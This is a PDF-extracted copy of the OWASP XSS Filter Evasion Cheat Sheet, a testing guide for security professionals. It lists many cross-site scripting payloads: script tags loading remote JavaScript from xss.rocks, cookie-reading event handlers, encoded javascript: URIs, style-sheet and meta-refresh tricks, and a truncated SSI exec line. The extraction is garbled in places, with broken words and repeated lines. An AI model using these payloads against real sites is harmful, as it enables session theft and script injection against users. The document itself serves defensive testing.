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XSS Filter Evasion
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Sheet
Author: Jim Manico, Robert RSnake Hansen
Contributor(s): Abdullah Hussam, Michael McCabe, Luke Plant, The OWASP®
Randomm, David Shaw, ALange, Matt Tesauro, Adam Caudill,
Foundation works to
Anandu, DhirajMishra, Ono, Bill Sempf, Dan Wallis, Peter Mosmans,
Dominique Righetto, Agit Kaplan, kingthorin improve the security of
software through its
Introduction community-led open
source software projects,
This article is focused on providing application securi
hundreds of chapters
ty testing professionals with a guide to assist in Cros worldwide, tens of
s Site Scripting testing. The initial contents of this arti thousands of members,
cle were donated to OWASP by RSnake, from his se and by hosting local and
minal XSS Cheat Sheet, which was at: http://ha. global conferences.
ckers.org/xss.html. That site now redirects to its
new home here, where we plan to maintain and enh
ance it. The very first OWASP Prevention Cheat She
et, the Cross Site Scripting Prevention Cheat Upcoming Global
Sheet, was inspired by RSnake’s XSS Cheat Sheet, Events
so we can thank RSnake for our inspiration. We wan
ted to create short, simple guidelines that developer
s could follow to prevent XSS, rather than simply telli
ng developers to build apps that could protect again
st all the fancy tricks specified in rather complex atta
ck cheat sheet, and so the OWASP Cheat Sheet
Series was born.

Tests
This cheat sheet lists a series of XSS attacks that
can be used to bypass certain XSS defensive filters.
Please note that input filtering is an incomplete
defense for XSS which these tests can be used to
defense for XSS which these tests can be used to
illustrate.

Basic XSS Test Without Filter

Evasion

This is a normal XSS JavaScript injection, and most

likely to get caught but I suggest trying it first (the
quotes are not required in any modern browser so
they are omitted here):

<SCRIPT SRC=http://xss.rocks/xss.js>
</SCRIPT>

XSS Locator (Polygot)

The following is a “polygot test XSS payload.” This
test will execute in multiple contexts including html,
script string, js and url. Thank you to Gareth Heyes
for this contribution.
javascript:/*--></title></style>
</textarea></script></xmp>
<svg/onload='+/"/+/onmouseover=1/+/[*/[]/+
alert(1)//'>

Image XSS Using the JavaScript

Directive
Image XSS using the JavaScript directive (IE7.0
doesn’t support the JavaScript directive in context of
an image, but it does in other contexts, but the
following show the principles that would work in
other tags as well:

<IMG SRC="javascript:alert('XSS');">

No Quotes and no Semicolon

<IMG SRC=javascript:alert('XSS')>

Case Insensitive XSS Attack

Vector
Vector
<IMG SRC=JaVaScRiPt:alert('XSS')>

HTML Entities
The semicolons are required for this to work:

<IMG
SRC=javascript:alert(&quot;XSS&quot;)>

Grave Accent Obfuscation

If you need to use both double and single quotes
you can use a grave accent to encapsulate the
JavaScript string - this is also useful because lots of
cross site scripting filters don’t know about grave
accents:

<IMG SRC=`javascript:alert("RSnake says, 'XSS'

")`>

Malformed A Tags
Skip the HREF attribute and get to the meat of the
XXS… Submitted by David Cross ~ Verified on
Chrome

\<a
onmouseover="alert(document.cookie)"\>xxs
link\</a\>

or Chrome loves to replace missing quotes for you…

if you ever get stuck just leave them off and Chrome
will put them in the right place and fix your missing
quotes on a URL or script.

\<a
onmouseover=alert(document.cookie)\>xxs
link\</a\>

Malformed IMG Tags

Originally found by Begeek (but cleaned up and
shortened to work in all browsers) this XSS vector
shortened to work in all browsers), this XSS vector
uses the relaxed rendering engine to create our XSS
vector within an IMG tag that should be
encapsulated within quotes. I assume this was
originally meant to correct sloppy coding. This would

make it significantly more difficult to correctly parse

apart an HTML tags:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>

fromCharCode
If no quotes of any kind are allowed you can eval()
a fromCharCode in JavaScript to create any XSS
vector you need:

<IMG
SRC=javascript:alert(String.fromCharCode(8
8,83,83))>

Default SRC Tag to Get Past

Filters that Check SRC Domain
This will bypass most SRC domain filters. Inserting
javascript in an event method will also apply to any
HTML tag type injection that uses elements like
Form, Iframe, Input, Embed etc. It will also allow any
relevant event for the tag type to be substituted like
onblur, onclick giving you an extensive amount of
variations for many injections listed here. Submitted
by David Cross .

Edited by Abdullah Hussam(@Abdulahhusam).

<IMG SRC=# onmouseover="alert('xxs')">

Default SRC Tag by Leaving it

Empty
<IMG SRC= onmouseover="alert('xxs')">

Default SRC Tag by Leaving it

out Entirely
<IMG onmouseover="alert('xxs')">

On Error Alert

<IMG SRC=/
onerror="alert(String.fromCharCode(88,83,8
3))"></img>

IMG onerror and JavaScript

Alert Encode
<img src=x
onerror="&#0000106&#0000097&#0000118&#0000
097&#0000115&#0000099&#0000114&#0000105&#0
000112&#0000116&#0000058&#0000097&#0000108
&#0000101&#0000114&#0000116&#0000040&#0000
039&#0000088&#0000083&#0000083&#0000039&#0
000041">

Decimal HTML Character

References
All of the XSS examples that use a javascript:
directive inside of an <IMG tag will not work in Firefox
or Netscape 8.1+ in the Gecko rendering engine
mode).

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;
&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#
101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&
#39;&#41;>

Decimal HTML Character

References Without Trailing
Semicolons
This is often effective in XSS that attempts to look
for “&#XX;”, since most people don’t know about
 p p
padding - up to 7 numeric characters total. This is
also useful against people who decode against
strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which
incorrectly assumes a semicolon is required to
terminate a html encoded string (I’ve seen this in the
wild):
<IMG SRC=&#0000106&#0000097&#0000118&#0000
097&#0000115&#0000099&#0000114&#0000105&#0
000112&#0000116&#0000058&#0000097&#0000108
&#0000101&#0000114&#0000116&#0000040&#0000
039&#0000088&#0000083&#0000083&#0000039&#0
000041>

Hexadecimal HTML Character

References Without Trailing
Semicolons
This is also a viable XSS attack against the above
string $tmp_string=~ s/.*\&#(\d+);.*/$1/; which
assumes that there is a numeric character following
the pound symbol - which is not true with hex HTML
characters).

<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x
69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74
&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

Embedded Tab
Used to break up the cross site scripting attack:

<IMG SRC="jav ascript:alert('XSS');">

Embedded Encoded Tab

Use this one to break up XSS :

<IMG SRC="jav&#x09;ascript:alert('XSS');">

Embedded Newline to Break-up

XSS
Some websites claim that any of the chars 09-13
(decimal) will work for this attack. That is incorrect.
Only 09 (horizontal tab), 10 (newline) and 13
(carriage return) work. See the ascii chart for more

details. The following four XSS examples illustrate

this vector:
<IMG SRC="jav&#x0A;ascript:alert('XSS');">

Embedded Carriage Return to

Break-up XSS
(Note: with the above I am making these strings
longer than they have to be because the zeros could
be omitted. Often I’ve seen filters that assume the
hex and dec encoding has to be two or three
characters. The real rule is 1-7 characters.):

<IMG SRC="jav&#x0D;ascript:alert('XSS');">

Null breaks up JavaScript

Directive
Null chars also work as XSS vectors but not like
above, you need to inject them directly using
something like Burp Proxy or use %00 in the URL
string or if you want to write your own injection tool
you can either use vim (^V^@ will produce a null) or
the following program to generate it into a text file.
Okay, I lied again, older versions of Opera (circa
7.11 on Windows) were vulnerable to one additional
char 173 (the soft hypen control char). But the null
char %00 is much more useful and helped me
bypass certain real world filters with a variation on
this example:
perl -e 'print "<IMG
SRC=java\0script:alert(\"XSS\")>";' > out

Spaces and Meta Chars Before

Spaces and Meta Chars Before
the JavaScript in Images for
XSS
This is useful if the pattern match doesn’t take into
account spaces in the word javascript: -which is

correct since that won’t render- and makes the false

assumption that you can’t have a space between the
quote and the javascript: keyword. The actual
reality is you can have any char from 1-32 in
decimal:

<IMG SRC=" &#14;

javascript:alert('XSS');">

Non-alpha-non-digit XSS
The Firefox HTML parser assumes a non-alpha-non-
digit is not valid after an HTML keyword and therefor
considers it to be a whitespace or non-valid token
after an HTML tag. The problem is that some XSS
filters assume that the tag they are looking for is
broken up by whitespace. For example \
<SCRIPT\\s != \<SCRIPT/XSS\\s:
<SCRIPT/XSS SRC="http://xss.rocks/xss.js">
</SCRIPT>

Based on the same idea as above,

however,expanded on it, using Rnake fuzzer. The
Gecko rendering engine allows for any character
other than letters, numbers or encapsulation chars
(like quotes, angle brackets, etc…) between the
event handler and the equals sign, making it easier
to bypass cross site scripting blocks. Note that this
also applies to the grave accent char as seen here:

<BODY onload!#$%&()*~+-_.,:;?
@[/|\]^`=alert("XSS")>

Yair Amit brought this to my attention that there is

li htl diff tb h i b t th IE dG k
slightly different behavior between the IE and Gecko
rendering engines that allows just a slash between
the tag and the parameter with no spaces. This
could be useful if the system does not allow spaces.

<SCRIPT/SRC="http://xss.rocks/xss.js">
</SCRIPT>

Extraneous Open Brackets

Submitted by Franz Sedlmaier, this XSS vector
could defeat certain detection engines that work by
first using matching pairs of open and close angle
brackets and then by doing a comparison of the tag
inside, instead of a more efficient algorythm like
Boyer-Moore that looks for entire string matches of
the open angle bracket and associated tag (post de-
obfuscation, of course). The double slash comments
out the ending extraneous bracket to supress a
JavaScript error:
<<SCRIPT>alert("XSS");//\<</SCRIPT>

No Closing Script Tags

In Firefox and Netscape 8.1 in the Gecko rendering
engine mode you don’t actually need the \>
</SCRIPT> portion of this Cross Site Scripting
vector. Firefox assumes it’s safe to close the HTML
tag and add closing tags for you. How thoughtful!
Unlike the next one, which doesn’t effect Firefox, this
does not require any additional HTML below it. You
can add quotes if you need to, but they’re not
needed generally, although beware, I have no idea
what the HTML will end up looking like once this is
injected:
<SCRIPT SRC=http://xss.rocks/xss.js?< B >

Protocol Resolution in Script

Tags
This particular variant was submitted by Łukasz
Pilorz and was based partially off of Ozh’s protocol
Pilorz and was based partially off of Ozh’s protocol
resolution bypass below. This cross site scripting
example works in IE, Netscape in IE rendering mode
and Opera if you add in a </SCRIPT> tag at the end.
However, this is especially useful where space is an
issue, and of course, the shorter your domain, the

better. The “.j” is valid, regardless of the encoding

type because the browser knows it in context of a
SCRIPT tag.

<SCRIPT SRC=//xss.rocks/.j>

Half Open HTML/JavaScript XSS

Vector
Unlike Firefox the IE rendering engine doesn’t add
extra data to you page, but it does allow the
javascript: directive in images. This is useful as a
vector because it doesn’t require a close angle
bracket. This assumes there is any HTML tag below
where you are injecting this cross site scripting
vector. Even though there is no close “>” tag the
tags below it will close it. A note: this does mess up
the HTML, depending on what HTML is beneath it. It
gets around the following NIDS regex: /((\\%3D)|
(=))\[^\\n\]\*((\\%3C)|\<)\[^\\n\]+
((\\%3E)|\>)/ because it doesn’t require the end
“>”. As a side note, this was also affective against a
real world XSS filter I came across using an open
ended <IFRAME tag instead of an <IMG tag:
<IMG SRC="`('XSS')"`

Double Open Angle Brackets

Using an open angle bracket at the end of the vector
instead of a close angle bracket causes different
behavior in Netscape Gecko rendering. Without it,
Firefox will work but Netscape won’t:
<iframe src=http://xss.rocks/scriptlet.htm
l <
 <

Escaping JavaScript Escapes

When the application is written to output some user
information inside of a JavaScript like the following:
<SCRIPT>var a="$ENV{QUERY\_STRING}";

</SCRIPT> and you want to inject your own

JavaScript into it but the server side application
escapes certain quotes you can circumvent that by
escaping their escape character. When this gets
injected it will read <SCRIPT>var
a="\\\\";alert('XSS');//";</SCRIPT> which
ends up un-escaping the double quote and causing
the Cross Site Scripting vector to fire. The XSS
locator uses this method.:
\";alert('XSS');//
An alternative, if correct JSON or Javascript
escaping has been applied to the embedded data
but not HTML encoding, is to finish the script block
and start your own:
</script><script>alert('XSS');</script>

End Title Tag

This is a simple XSS vector that closes <TITLE>
tags, which can encapsulate the malicious cross site
scripting attack:

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

INPUT Image
<INPUT TYPE="IMAGE" SRC="javascript:alert(
'XSS');">

BODY Image
<BODY BACKGROUND="javascript:alert('XSS')"
>

IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">

IMG Lowsrc
<IMG LOWSRC="javascript:alert('XSS')">

List-style-image
Fairly esoteric issue dealing with embedding images
for bulleted lists. This will only work in the IE
rendering engine because of the JavaScript
directive. Not a particularly useful cross site scripting
vector:

<STYLE>li {list-style-
image: url("javascript:alert('XSS')");}
</STYLE><UL><LI>XSS</br>

VBscript in an Image
<IMG SRC='vbscript:msgbox("XSS")'>

Livescript (older versions of

Netscape only)
<IMG SRC="livescript:[code]">

SVG Object Tag

<svg/onload=alert('XSS')>

ECMAScript 6

Set.constructor`alert\x28document.domain\x29

BODY Tag
Method doesn’t require using any variants of
javascript: or <SCRIPT... to accomplish the XSS
attack). Dan Crowley additionally noted that you can
put a space before the equals sign (onload= !=
onload =):
<BODY ONLOAD=alert('XSS')>

Event Handlers
It can be used in similar XSS attacks to the one
above (this is the most comprehensive list on the

net, at the time of this writing). Thanks to Rene

Ledosquet for the HTML+TIME updates.
The Dottoro Web Reference also has a nice list of
events in JavaScript.

1. FSCommand() (attacker can use this when

executed from within an embedded Flash
object)
2. onAbort() (when user aborts the loading of an
image)
3. onActivate() (when object is set as the active
element)
4. onAfterPrint() (activates after user prints or
previews print job)
5. onAfterUpdate() (activates on data object
after updating data in the source object)
6. onBeforeActivate() (fires before the object is
set as the active element)
7. onBeforeCopy() (attacker executes the attack
string right before a selection is copied to the
clipboard - attackers can do this with the
execCommand("Copy") function)
8. onBeforeCut() (attacker executes the attack
string right before a selection is cut)
9. onBeforeDeactivate() (fires right after the
activeElement is changed from the current
object)
10. onBeforeEditFocus() (Fires before an object
contained in an editable element enters a UI-
activated state or when an editable container
object is control selected)
11. onBeforePaste() (user needs to be tricked
into pasting or be forced into it using the
 into pasting or be forced into it using the
execCommand("Paste") function)
12. onBeforePrint() (user would need to be
tricked into printing or attacker could use the
print() or execCommand("Print") function).

13. onBeforeUnload() (user would need to be

tricked into closing the browser - attacker
cannot unload windows unless it was spawned
from the parent)
14. onBeforeUpdate() (activates on data object
before updating data in the source object)
15. onBegin() (the onbegin event fires
immediately when the element’s timeline
begins)
16. onBlur() (in the case where another popup is
loaded and window looses focus)
17. onBounce() (fires when the behavior property
of the marquee object is set to “alternate” and
the contents of the marquee reach one side of
the window)
18. onCellChange() (fires when data changes in
the data provider)
19. onChange() (select, text, or TEXTAREA field
loses focus and its value has been modified)
20. onClick() (someone clicks on a form)
21. onContextMenu() (user would need to right
click on attack area)
22. onControlSelect() (fires when the user is
about to make a control selection of the object)
23. onCopy() (user needs to copy something or it
can be exploited using the
execCommand("Copy") command)
24. onCut() (user needs to copy something or it
can be exploited using the
execCommand("Cut") command)
25. onDataAvailable() (user would need to
change data in an element, or attacker could
perform the same function)
 perform the same function)
26. onDataSetChanged() (fires when the data set
exposed by a data source object changes)
27. onDataSetComplete() (fires to indicate that all
data is available from the data source object)

28. onDblClick() (user double-clicks a form

element or a link)
29. onDeactivate() (fires when the activeElement
is changed from the current object to another
object in the parent document)
30. onDrag() (requires that the user drags an
object)
31. onDragEnd() (requires that the user drags an
object)
32. onDragLeave() (requires that the user drags
an object off a valid location)
33. onDragEnter() (requires that the user drags
an object into a valid location)
34. onDragOver() (requires that the user drags an
object into a valid location)
35. onDragDrop() (user drops an object (e.g. file)
onto the browser window)
36. onDragStart() (occurs when user starts drag
operation)
37. onDrop() (user drops an object (e.g. file) onto
the browser window)
38. onEnd() (the onEnd event fires when the
timeline ends.
39. onError() (loading of a document or image
causes an error)
40. onErrorUpdate() (fires on a databound object
when an error occurs while updating the
associated data in the data source object)
41. onFilterChange() (fires when a visual filter
completes state change)
42. onFinish() (attacker can create the exploit
when marquee is finished looping)
43 F () (attacker executes the attack string
43. onFocus() (attacker executes the attack string
when the window gets focus)
44. onFocusIn() (attacker executes the attack
string when window gets focus)
45. onFocusOut() (attacker executes the attack
string when window looses focus)

46. onHashChange() (fires when the fragment

identifier part of the document’s current address
changed)
47. onHelp() (attacker executes the attack string
when users hits F1 while the window is in
focus)
48. onInput() (the text content of an element is
changed through the user interface)
49. onKeyDown() (user depresses a key)
50. onKeyPress() (user presses or holds down a
key)
51. onKeyUp() (user releases a key)
52. onLayoutComplete() (user would have to print
or print preview)
53. onLoad() (attacker executes the attack string
after the window loads)
54. onLoseCapture() (can be exploited by the
releaseCapture() method)
55. onMediaComplete() (When a streaming media
file is used, this event could fire before the file
starts playing)
56. onMediaError() (User opens a page in the
browser that contains a media file, and the
event fires when there is a problem)
57. onMessage() (fire when the document received
a message)
58. onMouseDown() (the attacker would need to get
the user to click on an image)
59. onMouseEnter() (cursor moves over an object
or area)
60. onMouseLeave() (the attacker would need to
get the user to mouse over an image or table
and then off again)
 and then off again)
61. onMouseMove() (the attacker would need to get
the user to mouse over an image or table)
62. onMouseOut() (the attacker would need to get
the user to mouse over an image or table and
then off again)

63. onMouseOver() (cursor moves over an object

or area)
64. onMouseUp() (the attacker would need to get
the user to click on an image)
65. onMouseWheel() (the attacker would need to
get the user to use their mouse wheel)
66. onMove() (user or attacker would move the
page)
67. onMoveEnd() (user or attacker would move the
page)
68. onMoveStart() (user or attacker would move
the page)
69. onOffline() (occurs if the browser is working
in online mode and it starts to work offline)
70. onOnline() (occurs if the browser is working in
offline mode and it starts to work online)
71. onOutOfSync() (interrupt the element’s ability
to play its media as defined by the timeline)
72. onPaste() (user would need to paste or
attacker could use the execCommand("Paste")
function)
73. onPause() (the onpause event fires on every
element that is active when the timeline
pauses, including the body element)
74. onPopState() (fires when user navigated the
session history)
75. onProgress() (attacker would use this as a
flash movie was loading)
76. onPropertyChange() (user or attacker would
need to change an element property)
77. onReadyStateChange() (user or attacker
would need to change an element property)
78 R d () (user went forward in undo
78. onRedo() (user went forward in undo
transaction history)
79. onRepeat() (the event fires once for each
repetition of the timeline, excluding the first full
cycle)
80. onReset() (user or attacker resets a form)

81. onResize() (user would resize the window;

attacker could auto initialize with something
like: <SCRIPT>self.resizeTo(500,400);
</SCRIPT>)
82. onResizeEnd() (user would resize the window;
attacker could auto initialize with something
like: <SCRIPT>self.resizeTo(500,400);
</SCRIPT>)
83. onResizeStart() (user would resize the
window; attacker could auto initialize with
something like:
<SCRIPT>self.resizeTo(500,400);
</SCRIPT>)
84. onResume() (the onresume event fires on
every element that becomes active when the
timeline resumes, including the body element)
85. onReverse() (if the element has a
repeatCount greater than one, this event fires
every time the timeline begins to play
backward)
86. onRowsEnter() (user or attacker would need
to change a row in a data source)
87. onRowExit() (user or attacker would need to
change a row in a data source)
88. onRowDelete() (user or attacker would need
to delete a row in a data source)
89. onRowInserted() (user or attacker would
need to insert a row in a data source)
90. onScroll() (user would need to scroll, or
attacker could use the scrollBy() function)
91. onSeek() (the onreverse event fires when the
timeline is set to play in any direction other than
forward)
 forward)
92. onSelect() (user needs to select some text -
attacker could auto initialize with something
like:
window.document.execCommand("SelectAll
");)

93. onSelectionChange() (user needs to select

some text - attacker could auto initialize with
something like:
window.document.execCommand("SelectAll
");)
94. onSelectStart() (user needs to select some
text - attacker could auto initialize with
something like:
window.document.execCommand("SelectAll
");)
95. onStart() (fires at the beginning of each
marquee loop)
96. onStop() (user would need to press the stop
button or leave the webpage)
97. onStorage() (storage area changed)
98. onSyncRestored() (user interrupts the
element’s ability to play its media as defined by
the timeline to fire)
99. onSubmit() (requires attacker or user submits
a form)
100. onTimeError() (user or attacker sets a time
property, such as dur, to an invalid value)
101. onTrackChange() (user or attacker changes
track in a playList)
102. onUndo() (user went backward in undo
transaction history)
103. onUnload() (as the user clicks any link or
presses the back button or attacker forces a
click)
104. onURLFlip() (this event fires when an
Advanced Streaming Format (ASF) file, played
by a HTML+TIME (Timed Interactive
Multimedia Extensions) media tag processes
 Multimedia Extensions) media tag, processes
script commands embedded in the ASF file)
105. seekSegmentTime() (this is a method that
locates the specified point on the element’s
segment time line and begins playing from that
point. The segment consists of one repetition of

the time line including reverse play using the

AUTOREVERSE attribute.)

BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">

& JavaScript includes

<BR SIZE="&{alert('XSS')}">

STYLE sheet
<LINK REL="stylesheet"
HREF="javascript:alert('XSS');">

Remote style sheet

Using something as simple as a remote style sheet
you can include your XSS as the style parameter
can be redefined using an embedded expression.
This only works in IE and Netscape 8.1+ in IE
rendering engine mode. Notice that there is nothing
on the page to show that there is included
JavaScript. Note: With all of these remote style
sheet examples they use the body tag, so it won’t
work unless there is some content on the page other
than the vector itself, so you’ll need to add a single
letter to the page to make it work if it’s an otherwise
blank page:
<LINK REL="stylesheet" HREF="http://xss.ro
cks/xss.css">

Remote style sheet part 2

This works the same as above, but uses a <STYLE>
t i t d f LINK t ) A li ht i ti
tag instead of a <LINK> tag). A slight variation on
this vector was used to hack Google Desktop. As a
side note, you can remove the end </STYLE> tag if
there is HTML immediately after the vector to close
it. This is useful if you cannot have either an equals

sign or a slash in your cross site scripting attack,

which has come up at least once in the real world:

<STYLE>@import'http://xss.rocks/xss.css';
</STYLE>

Remote style sheet part 3

This only works in Opera 8.0 (no longer in 9.x) but is
fairly tricky. According to RFC2616 setting a link
header is not part of the HTTP1.1 spec, however
some browsers still allow it (like Firefox and Opera).
The trick here is that I am setting a header (which is
basically no different than in the HTTP header
saying Link: <http://xss.rocks/xss.css>;
REL=stylesheet) and the remote style sheet with
my cross site scripting vector is running the
JavaScript, which is not supported in FireFox:
<META HTTP-EQUIV="Link" Content="
<http://xss.rocks/xss.css>; REL=stylesheet
">

Remote style sheet part 4

This only works in Gecko rendering engines and
works by binding an XUL file to the parent page. I
think the irony here is that Netscape assumes that
Gecko is safer and therefor is vulnerable to this for
the vast majority of sites:
<STYLE>BODY{-moz-
binding:url("http://xss.rocks/xssmoz.xml#x
ss")}</STYLE>

STYLE Tags with Broken-up

JavaScript for XSS
This XSS at times sends IE into an infinite loop of
alerts:
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")
';</STYLE>

STYLE Attribute using a

Comment to Break-up
Expression
Created by Roman Ivanov
<IMG STYLE="xss:expr/*XSS*/ession(alert('X
SS'))">

IMG STYLE with Expression

This is really a hybrid of the above XSS vectors, but
it really does show how hard STYLE tags can be to
parse apart, like above this can send IE into a loop:

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

STYLE Tag (Older versions of

Netscape only)
<STYLE TYPE="text/javascript">alert('XSS')
;</STYLE>

STYLE Tag using Background-

image
<STYLE>.XSS{background-
image:url("javascript:alert('XSS')");}
</STYLE><A CLASS=XSS></A>

STYLE Tag using Background

<STYLE type="text/css">BODY{background:url
("javascript:alert('XSS')")}</STYLE> <STYLE
( javascript:alert( XSS ) )}</STYLE> <STYLE
type="text/css">BODY{background:url("
<javascript:alert>('XSS')")}</STYLE>

Anonymous HTML with STYLE

Attribute
IE6.0 and Netscape 8.1+ in IE rendering engine
mode don’t really care if the HTML tag you build
exists or not, as long as it starts with an open angle
bracket and a letter:

<XSS STYLE="xss:expression(alert('XSS'))">

Local htc File

This is a little different than the above two cross site
scripting vectors because it uses an .htc file which
must be on the same server as the XSS vector. The
example file works by pulling in the JavaScript and
running it as part of the style attribute:
<XSS STYLE="behavior: url(xss.htc);">

US-ASCII Encoding
US-ASCII encoding (found by Kurt Huwig).This uses
malformed ASCII encoding with 7 bits instead of 8.
This XSS may bypass many content filters but only
works if the host transmits in US-ASCII encoding, or
if you set the encoding yourself. This is more useful
against web application firewall cross site scripting
evasion than it is server side filter evasion. Apache
Tomcat is the only known server that transmits in
US-ASCII encoding.
¼script¾alert(¢XSS¢)¼/script¾

META
The odd thing about meta refresh is that it doesn’t
send a referrer in the header - so it can be used for
certain types of attacks where you need to get rid of
referring URLs:
<META HTTP-
EQUIV="refresh" CONTENT="0;url=javascript:
alert('XSS');">

META using Data

Directive URL scheme. This is nice because it also

doesn’t have anything visibly that has the word
SCRIPT or the JavaScript directive in it, because it
utilizes base64 encoding. Please see RFC 2397 for
more details or go here or here to encode your own.
You can also use the XSS calculator below if you
just want to encode raw HTML or JavaScript as it
has a Base64 encoding method:

<META HTTP-
EQUIV="refresh" CONTENT="0;url=data:text/h
tml base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3N
jcmlwdD4K">

META with Additional URL Parameter

If the target website attempts to see if the URL
contains <http://>; at the beginning you can
evade it with the following technique (Submitted by
Moritz Naumann):
<META HTTP-
EQUIV="refresh" CONTENT="0; URL=http://;UR
L=javascript:alert('XSS');">

IFRAME
If iframes are allowed there are a lot of other XSS
problems as well:
<IFRAME SRC="javascript:alert('XSS');">
</IFRAME>

IFRAME Event Based

IFrames and most other elements can use event
based mayhem like the following… (Submitted by:
David Cross)
David Cross)

<IFRAME SRC=# onmouseover="alert(document.

cookie)"></IFRAME>

FRAME

Frames have the same sorts of XSS problems as

iframes

<FRAMESET>
<FRAME SRC="javascript:alert('XSS');">
</FRAMESET>

TABLE
<TABLE BACKGROUND="javascript:alert('XSS')
">

TD
Just like above, TD’s are vulnerable to
BACKGROUNDs containing JavaScript XSS
vectors:

<TABLE>
<TD BACKGROUND="javascript:alert('XSS')">

DIV
DIV Background-image
<DIV STYLE="background-
image: url(javascript:alert('XSS'))">

DIV Background-image with Unicoded

XSS Exploit
This has been modified slightly to obfuscate the url
parameter. The original vulnerability was found by
Renaud Lifchitz as a vulnerability in Hotmail:
<DIV STYLE="background-
image:\0075\0072\006C\0028'\006a\0061\0076
\0061\0073\0063\0072\0069\0070\0074\003a\0
061\006c\0065\0072\0074\0028.1027\0058.105
3\0053\0027\0029'\0029">

DIV Background-image Plus Extra

Characters
Rnaske built a quick XSS fuzzer to detect any
erroneous characters that are allowed after the open

parenthesis but before the JavaScript directive in IE

and Netscape 8.1 in secure site mode. These are in
decimal but you can include hex and add padding of
course. (Any of the following chars can be used: 1-
32, 34, 39, 160, 8192-8.13, 12288, 65279):

<DIV STYLE="background-
image: url(
javascript:alert('XSS'))">

DIV Expression
A variant of this was effective against a real world
cross site scripting filter using a newline between the
colon and “expression”:
<DIV STYLE="width: expression(alert('XSS')
);">

Downlevel-Hidden Block
Only works in IE5.0 and later and Netscape 8.1 in IE
rendering engine mode). Some websites consider
anything inside a comment block to be safe and
therefore does not need to be removed, which
allows our Cross Site Scripting vector. Or the system
could add comment tags around something to
attempt to render it harmless. As we can see, that
probably wouldn’t do the job:

<!--[if gte IE 4]>

<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->

BASE Tag
Works in IE and Netscape 8.1 in safe mode. You
need the // to comment out the next characters so
need the // to comment out the next characters so
you won’t get a JavaScript error and your XSS tag
will render. Also, this relies on the fact that the
website uses dynamically placed images like
images/image.jpg rather than full paths. If the path
includes a leading forward slash like

/images/image.jpg you can remove one slash

from this vector (as long as there are two to begin
the comment this will work):

<BASE HREF="javascript:alert('XSS');//">

OBJECT Tag
If they allow objects, you can also inject virus
payloads to infect the users, etc. and same with the
APPLET tag). The linked file is actually an HTML file
that can contain your XSS:

<OBJECT TYPE="text/x-
scriptlet" DATA="http://xss.rocks/scriptle
t.html"></OBJECT>

EMBED a Flash Movie That

Contains XSS
Click here for a demo: http://ha.ckers.org/xss.swf

<EMBED SRC="http://ha.ckers.org/xss.swf" A
llowScriptAccess="always"></EMBED>

If you add the attributes

allowScriptAccess="never" and
allownetworking="internal" it can mitigate this
risk (thank you to Jonathan Vanasco for the info).

EMBED SVG Which Contains

XSS Vector
This example only works in Firefox, but it’s better
than the above vector in Firefox because it does not
require the user to have Flash turned on or installed.
Thanks to nEUrOO for this one.
<EMBED SRC="
ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnL
zIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5
vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRw
Oi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJza

W9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQ
iIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0
IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIl
h TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="ima
ge/svg+xml" AllowScriptAccess="always">
</EMBED>

Using ActionScript Inside Flash

for Obfuscation

a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);

XML Data Island with CDATA

Obfuscation
This XSS attack works only in IE and Netscape 8.1
in IE rendering engine mode) - vector found by Sec
Consult while auditing Yahoo:

<XML ID="xss"><I><B><IMG SRC="javas<!-- --

>cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS=
"HTML"></SPAN>

Locally hosted XML with

embedded JavaScript that is
generated using an XML data
i l d
island
This is the same as above but instead referrs to a
locally hosted (must be on the same server) XML file
that contains your cross site scripting vector. You
can see the result here:

<XML SRC="xsstest.xml" ID=I></XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
</SPAN>

HTML+TIME in XML
This is how Grey Magic hacked Hotmail and Yahoo!.
This only works in Internet Explorer and Netscape
8.1 in IE rendering engine mode and remember that
you need to be between HTML and BODY tags for
this to work:

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-
microsoft-com:time">
<?
import namespace="t" implementation="#default#
time2">
<t:set attributeName="innerHTML" to="XSS<SCRIP
T DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>

Assuming you can only fit in a

few characters and it filters
against .js
You can rename your JavaScript file to an image as
an XSS vector:
<SCRIPT SRC="http://xss.rocks/xss.jpg">
</SCRIPT>

SSI (Server Side Includes)

This requires SSI to be installed on the server to use
 q
this XSS vector. I probably don’t need to mention
this, but if you can run commands on the server
there are no doubt much more serious issues:

<!--#exec cmd="/bin/echo '<SCR'"--><!--

#exec cmd="/bin/echo 'IPT SRC=http://xss.r

